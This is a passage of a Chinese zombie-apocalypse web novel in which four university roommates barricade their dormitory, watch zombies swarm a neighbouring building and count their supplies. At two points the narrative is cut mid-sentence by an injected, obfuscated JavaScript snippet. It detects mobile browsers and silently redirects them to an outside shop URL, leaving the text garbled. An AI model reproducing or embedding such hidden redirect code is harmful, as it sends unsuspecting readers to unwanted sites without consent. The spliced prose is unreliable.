《大学生末世生存指北》 3. 是丧尸吗 褚黎闷声查看物资,虽然她们囤的大部分东西暂时还用不上,但由于末世天然的性质。 四人都不约而同地准备了通用物资,例如食物、水、药品、卫生巾和棉条,以及接收外界信号的全波段收音机。 许司和车明珠买的收音机和自己的功能差不多,主要是外观看上去更高级。 傅莎莎的差别就大了,因为她是特意为洪涝灾害做的准备。 所以她的收音机是最高防水级别的,能当充电宝、手电筒、太阳能发电,还额外配有信号增强器。 甚至还能当作音响,并且进行SOS报警求助。 集万千功能一身,却只有巴掌大小。 褚黎当即摁下求救按钮,指示灯默默亮起。 一阵杂音过后,毫无反应。 “卧槽,我手机没信号了!”许司突然说道。 她盯着屏幕右上角变成“x”的信号格,焦急地一遍遍刷新界面。 其余三人听到也打开手机,随后无力摇头。 车明珠走到门口,门外的撞击已经停止,静得可怕,她打开顶灯开关,灯并没有亮。 “电也断了?”车明珠忧心忡忡。 作为一个现代人,对于电和网络的依赖性很高,刚才强压下去的绝望,犹如细密的虫子般爬上心头。 静。 又是熟悉的让人难以忍受的安静。 “哐当!” 褚黎猛然起身,叮铃咣啷地拎起四个收音机冲进阳台:“没时间想别的了,现在断网断电,我们唯一获取外界信息的来源只有这些收音机了! 她用最快的速度将三个收音机打开,调好频段后,看着最小那台收音机上密密麻麻的按钮沉思一秒:“傅莎莎,你知道怎么用吗?” “啊啊啊我知道!”有时候走出情绪洪流就像现在这样简单,被褚黎稍一打断,傅莎莎立马着急起来,赶忙翻找柜子:“我这儿有说明书!” “行,那你负责蹲收音机信号。明珠,你跟她一起,顺便观察窗外情况。” 褚黎站起身让出阳台的位置,看向许司:“咱俩把椅子和行李箱都推到门口,先把门守好,剩下的再说。” 车明珠:“好!” 许司:“OK,要不把水桶也搬过去吧。” 或许是四人心中常有不好的预感,所以217寝室每次订大桶饮用水,总是不约而同地在喝完前多屯着几桶。 现在宿舍里除了饮水机上的半桶水,还放着3整桶泉某泉。 “等我下。”许司又从自己衣柜底下掏出一大块说不上是什么绿的橡胶垫,平铺开差不多有四平米大。 褚黎惊愕:“你买这东西干啥?” “之前打实物比赛,不小心把实训基地的橡胶地垫烫坏了,我趁老师没发现,就买了块一样的偷偷给补上了。” 不错,很高效,很利落,很许司。 二人也没废话,将橡胶垫裁分成几块。 一块铺在门口,用尺子平刮排出空气,将所有人的行李箱放倒层层摞在门口。 每层行李箱之间又加了一层橡胶垫,用来增大摩擦力。 打好“地基”后,在傅莎莎假模假式地抗议下,又将她的沙发椅连同桶装水压在上面。 至于剩下人的椅子,不是上床下桌配套的课桌椅,就是普通的软包椅子,都比价格高昂的沙发椅轻太多了。 放上去不但起不到阻拦效果,还导致重心太高,极易坍塌。 折腾完这一遭,许司还好,平时能不动弹就不动弹的褚黎累得眼神发直,坐在椅子上短暂停止了思考。 “呕,呕...” 傅莎莎这边迟迟收不到信号,便没忍住朝窗外瞄了一眼。 车明珠来不及阻止,胃浅的傅大小姐就看到了窗外骇人的一幕。 她们是一舍,紧邻着就是学校主路,又因为是二楼,从窗外望下去可谓是全面又清晰。 外边目光所见的地方已经没有活人了,全都是浑身青灰满身血污的丧尸,在漫无目的地游走着。 有的丧尸身上完好,有的则浑身上下都是被撕开的皮肉。 断肢碎肉挂在刚发新芽的树枝上,鲜血喷溅得到处都是,由于时间短,还没有完全氧化,楼面、灌木上、柏油路上到处都是大片大片殷红的血迹。 “欸欸欸,别吐别吐!忍一下往窗外吐!”许司大叫着冲过去开窗。 傅莎莎强忍着胃中翻涌,咽又咽不下去,手脚并用地爬上窗台,感受到外边冷风的瞬间,呕吐物几乎是从口鼻中射出来的。 “呕...呕,不好,不好意思。实在是呕...没忍住呕——” 车明珠贴心地在一旁为傅莎莎顺气:“没事的,又不是你的错。” 将胃里吐得空无一物,傅莎莎脱力地扒在窗户上休息。 褚黎适时贴心递上纸巾:“用纸擦擦对付一下吧,现在水是稀有物资。” “好...”傅莎莎虚弱的伸出手。 “救~命~~~” “什么声音?”褚黎收回手,仔细听声音的来源。 其他人也听到了,立刻保持安静,屏息凝神等着声音再次出现。 傅莎莎也没敢吱声,默默抽出褚黎手中的纸,擦掉脸上的污渍,连鼻涕都没敢擤。 “救~命~~~~~~” 那声音又出现了,是来自对面二舍,两栋楼之间隔着一条宽阔主路。 二舍是男寝,依稀能看到三楼有个男生,坐在床上对着窗外边挥手边大声呼喊。 男大的动情呼唤的声音传到217四人耳朵里时,已经被风吹得支离破碎,好不幽怨。 与此同时,本来在楼下游荡的丧尸朝着声音的来源齐齐转身。 有了方向的丧尸很快聚集到二舍楼下。 丧尸行动缓慢笨拙,仅有几个能不被台阶绊倒,径直走进寝室大门。 但逐渐的,几人发现了不对。 走在最前面的丧尸被绊倒,后面踩在前面尸体上又倒下,数不清的丧尸成了脚垫。 一层推着一层,一层叠着一层,没一会就堆起个小山包,后来的丧尸已经能碰到二楼窗户下沿了! 许司简直被他蠢笑了:瞎吗?外边什么情况一点都不看是吧? 没见过上赶子送死的,离这么远就算听见他喊救命有什么用啊! 她忍不住也冲窗外喊道:“喂,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078943|195298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的闭嘴别喊了!!!世界末日了,谁都救不了你!!!!!” 许司的声音吸引了临近丧尸的注意,有一部分悠哉游哉地往她们的方向移动,减慢了对面丧尸堆叠的速度。 “关窗啊傻逼!!!!□□大爸的,你喊集贸啊!!!!!” 见对面一点反应没有,仍在忘我的纵情高喊,许司急得脖子根通红,眼泪都快飙出来了。 颇有恨铁不成钢的意味。 车明珠和傅莎莎听傻了,她们怎么不知道许司骂人这么脏? 褚黎轻轻拍了拍她的肩膀,还不忘把傅莎莎从窗台上薅下来,说道:“算了吧,许司。” “他太害怕了,听不见你说话,我们也救不了他。” 褚黎关上窗户,破碎在风声中的呼救彻底被隔绝在外。 许司抿唇,狠狠抹了把脸:“我知道,我只是觉得很可惜。” 那么多人瞬间变成丧尸,她的妈妈还生死未卜。 那个男生到现在都没有异变,已经很不容易了,宿舍的条件如果利用好,至少能多活几天,希望他别的死得太蠢了。 “你们说,”车明珠盯着对面楼用丧尸堆起的山包喃喃问道:“那些东西真的是丧尸吗?丧尸不是小说电影里编造的吗?” 许司疑惑:“你不是亲眼看见,而且还跟它面对面了吗?” “可是目前没有理论去定义它们就是丧尸,万一,我是说万一,他们其实还活着,这只是一种病呢?” “如果我们一直被困在这出不去,吃光了食物和水,到时候…要杀了他们吗?” 车明珠的话令人心塞,的确,她们就只是本科学生,学的还是机械,专业课涉及的只有物理和化学。 医学界如浩瀚星河般的高深理论是半点不通,也许这种病症是合理的呢? 真逼到那一步了,杀丧尸顶多是侮辱尸体罪,杀活人可是实实在在犯大罪了啊! 没准有恢复秩序这一天,到时候她们都成连环杀人犯了。 虽然说不通为什么一瞬间感染了无数人,她们却没感染,但科学的尽头总是沾点玄学。 作为大学生,要始终保有一颗谦虚的尊重科学的心。 傅莎莎有点信了,掏出手机:“我先查查。” 【网络连接断开,请检查网络设置】 “哦对,断网了。”她无奈息屏。 禇黎还在捣鼓收音机:“就是没死,它们也是咬人杀人的怪物,如果妨碍正常人活下去——” 她淡淡转头瞥向楼下的尸山血海,语气平静:“那想必它们也很煎熬,杀它们不就是帮它们安乐死吗?这是做好事啊。” 三人瞪大双眼,这话乍一听没毛病,不过细品起来… 怎么听都像是孝顺女儿给急诊老父亲管拔了然后在法庭上说老头觉得很对不起她而她不止没让老头遭罪还让老头享福去了最后跟法官说应该判自己一面锦旗。 ——有一种诡异的理直气壮。 禇黎想起在直播间看见赵安最后含泪异变的模样,眸光闪了闪。 收音机刺啦啦的杂音又响起来,她笑笑说:“那还能怎么办,总不能真不活了吧,糊涂生活糊涂过呗。” 4.清点物资 的确是这个道理。 “不过,你怎么确定这些...丧尸一定会咬人?” 许司认真问道,毕竟她们从爆发到现在一直都在寝室,褚黎更是坐在原地动都没动过。 褚黎把在网上看见的事一一告诉她们,听得三人心惊肉跳。 “变成丧尸的人数这么恐怖,你们说,还有人能管我们吗?” 车明珠忧心开口,手指紧张地绞在一起。 她没明说,但其他人都心领神会,如果真得是毫无征兆地变成丧尸,再结合这么久官方迟迟没有下达通知,很难不让人往最坏的结果想。 ——这个世界已经彻底乱了。 四人都想过末日到来的那一天会是什么样子,官方出动、人人自危、团结一致最后仍是抵挡不住灾难的侵袭,最后轰轰烈烈地为人类如银河般璀璨的历史画上句号。 可真正的末日降临是悄无声息又势不可挡的,无情摧毁了人类几千年建立的社会。 16点28分。 28分钟的经历如梦似幻,像沾着麻醉剂的荆条抽打在身上,又像钝刀子割肉,最先带来的是情绪爆炸的窒息,后知后觉才是刺骨痛楚。 “要不...先等等看?反正现在外面都是丧尸,寝室里还有这么多吃的,我们也不用出去。”许司试探着提出建议。 褚黎点点头,外面真实情况什么样她们也说不准,万一官方体系没有完全崩坏,还在缓慢恢复的话,宿舍是等待救援最安全可靠的地方。 车明珠也赞同,她还没做好面对外界的准备。 “唉,就是可惜了我放在楼下的物资,我买的对讲机也在里面,要是有机会我们去把它们取出来吧。”傅莎莎语气惋惜,脸色却有些古怪。 车明珠第一个察觉出她的异样,问道:“莎莎,你怎么了,是不是不太舒服?” 傅莎莎有点尴尬:“没什么,就是想上厕所。” 但东北的大学普遍没有独立卫浴,现在外边又都是丧尸,她根本出不去,只能先咬牙憋着。 “对啊,”许司恍然:“我们总不能一直不上厕所吧,也不能在寝室解决......” 她陷入沉思,随即一拍脑门:“有了!可以直接在窗边解决,反正也末世了,应该没有人管随地大小便的问题了吧。” 傅莎莎脸色更难看了:“可外面也是有活人的吧,我还是想保护一下我的屁股的。” 虽说末世活命最大,但她一想到要背身在窗外尿尿,将自己最脆弱的部位大剌剌展示,就一阵恶寒。 许司无奈认同:“确实,我们要是能像男人随地掏I裆一样不要脸就好了。” “我发现你今天说话,怎么这么狂野?”傅莎莎看着许司,一脸震惊。 “有吗?”许司回味了一下自己说的话,有些咬牙切齿:“可能是因为,我刚把保研分加够,不用再给导师当狗了。” “就、操、蛋、的、末、日、了、吧。” 她双眼无神,周身的怨念犹如实质,偏偏又十分平静,让傅莎莎不敢再开口。 褚黎想了想,目光落到阳台晾着的床单上面:“这床单是谁的?” “我的。”傅莎莎朝许司相反方向迈出一步,悄悄举手。 “可以在床单上写上求救信号,挂到窗户外面,既能当作遮挡,又能向救援队发出信号。” “好办法啊!”傅莎莎高兴赞同,转身在桌上翻找:“正好,我这有记号笔。” 几人一致赞同,说干就干。 在傅莎莎和车明珠的狗狗祟祟地推举下,由褚黎打断了正在散发怨气,想找人同归于尽又不知道找谁的许司。 等到榨干记号笔最后一滴墨水后,巨大的求救旗帜兼厕所挡帘挂在217窗外,迎着微风悠闲飘扬。 许司嘟囔一句:“它真幸福,都末日了,还能在外边吹风晒太阳。” 褚黎看着暖色床单上漆黑巨大的“SOS”:“末日不来的话,它能干干净净的晒太阳。” 正在上厕所的傅莎莎:“你们别盯着我看啊啊啊啊啊啊!!” 车明珠默默又从自己衣柜里抱出一张床单,打算一会挂在窗内。 这样两面都有床单遮挡,能更好的保护隐私。 等傅大小姐解决完人生大事,几人坐在地上开始清点物资。 刨除掉四人针对各类型末日准备的特殊物资。 基础物资中,矿泉水有两百多瓶,省着点喝差不过够一个月的量。 食物种类五花八门,小面包、大米、压缩饼干这种不占地方的主食几人都囤了不少,凑出两大纸箱子。 还有一些方便面,自热火锅等速食,因为比较占地方,所以数量不多,全部加起来只有36份。 药品种类齐全,有常见的消炎药、维生素、抗生素、退热药,止泻药,还有外伤用的纱布、绷带、创口贴、碘伏,就是数量都不多。 许司因为近视加上眼睛干涩,额外准备了眼药水;车明珠受老人影响的缘故,买了降压药、速效救心丸和保命丹。 许司盯着闪着寒光的短刀,眼神发亮:“我的大小姐,你可真是下血本了。” 刀刃锋利,刀身血槽巧妙融进钢材纹理之中,刀鞘表面是纯皮材质,雕刻着繁复花纹。 连颜色都是定制的,隐蔽处刻有每个人的名字。 褚黎是掺杂天然灰色花纹的白色,许司是夏日中万里无云的晴空蓝,车明珠是初春嫩草般的绿色,傅莎莎自己则是张扬夺目的玫粉色。 傅莎莎扬头哼了一声:“那当然了,国内不允许给武器开刃,我特意托朋友在国外定制的,费了好大劲才搞到手。” 褚黎再次感慨有钱真好。 随后含泪将自己两百块在某宝买的,经她手工开刃的装饰品匕首无情丢在桌上,转头拿起专属自己的短刀欣赏。 这刀身,这弧度,这材质...... 爽! 众人折腾完,已经是下午六点多钟,外边的天色逐渐暗淡,夕阳的余晖染红了天边。 宿舍没网没电,也玩不了手机,四人无所事事坐在阳台望天,哦不,是观察敌情。 下午对面宿舍呼救的男生已经不见了,二舍几百扇窗户中数不清有多少扇糊上了血迹。 没有人再发出声音,楼根底下丧尸堆成的山包小了一半,被压在下面的丧尸无意识地伸展手脚,缓慢抓挠地面。 它们的手指好像抓出了白骨?看不清...... 许司揉揉眼睛,戴着眼镜都看不清,她的度数好像又涨高了。 傅莎莎看不了恶心的东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082321|195298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她嚼着一块干巴面包,安静望着天空。 嗯?不对。 突然,她眉头一皱,口中嘀咕:“太阳不是落下去了吗?” “什么?”一旁发呆的褚黎没听懂她的意思,侧头看她。 傅莎莎精致的眉眼中满是不解:“为什么...天上还有一个太阳?” “你看错了吧,可能是还没完全出来的月亮呢......卧槽?!!!!” 许司下意识反驳,顺着她的目光往天上看。 透着淡淡白色的月亮弱小无助地被挤到了一边,天上高高悬挂、最夺目的赫然是一个通红的跟太阳一般大的圆球! 褚黎腾地站起身,打开窗户探出半个身子往西边看去。 她们这个宿舍朝南,但仍然能看见西边天际线处落得还剩一半的太阳! “这是怎么回事?天上怎么有两个太阳?”许司穿着睡衣也探出身去,窗外冷风吹得她一哆嗦:“奇怪,也不热啊。” 褚黎面色凝重:“那可能,不是太阳。” “会不会是撞击地球的行星?”车明珠提出一个想法。 这话刚出口,所有人的脸色立马就难看起来。 她们谁也没说话,死死盯着天上的红色圆球。 一分钟。 两分钟。 ...五分钟。 傅莎莎说:“虽然我没经验,但行星撞地球的话,应该不会这么久一动不动吧?” “那就应该不是了。”许司松了口气,从窗台上爬下来。 “那这东西到底是什么?” 许司叹了口气,无奈耸肩:“不知道啊,都末日了,出现什么好像都不奇怪。” 褚黎也慢吞吞爬下来说:“天快黑了,要不都早点休息吧。” 车明珠指着天上的红球:“那这就...不管了吗?” 褚黎给面子地又盯着看了看,才说道:“这么大一颗东西,真砸下来谁也跑不了,现在睡觉至少还能死得毫无痛苦。” “也是。”车明珠收回手。 “有道理。”傅莎莎适时打个哈欠:“那今晚先休息?” 没招了的四人经历一下午的心惊肉跳,此刻身心都有些疲惫,一致同意上床休息。 等三人都上了床,褚黎才说:“你们先睡,今晚我守夜。” 傅莎莎梳顺头发,戴上真丝眼罩,重重栽倒在床上:“行,那明晚我守。” 车明珠紧跟其后:“那后天我来。” 许司举手:“大后天。” 褚黎点点头,也不矫情:“行,然后再轮换。” 夜幕深沉,宿舍漆黑安静,褚黎坐在床下,时不时走动几步驱散困意。 幸好她们宿舍平时就断电,每个人手中都有充电款的台灯。 幽幽白光照亮一角,让她不至于太难熬。 褚黎仰头沉默看着邻床轻轻翻身的车明珠。 她知道,她并没有睡。 亲人死亡是莫大的苦痛,她白天一直忍着,是怕影响所有人的情绪,只敢在夜里独自消化。 性格温柔,一向跟谁都温声细语的人,实际是最坚韧的。 所以褚黎装作不知道,她不会打破她的铠甲。 “咚!” 沉闷的撞击声突然传来。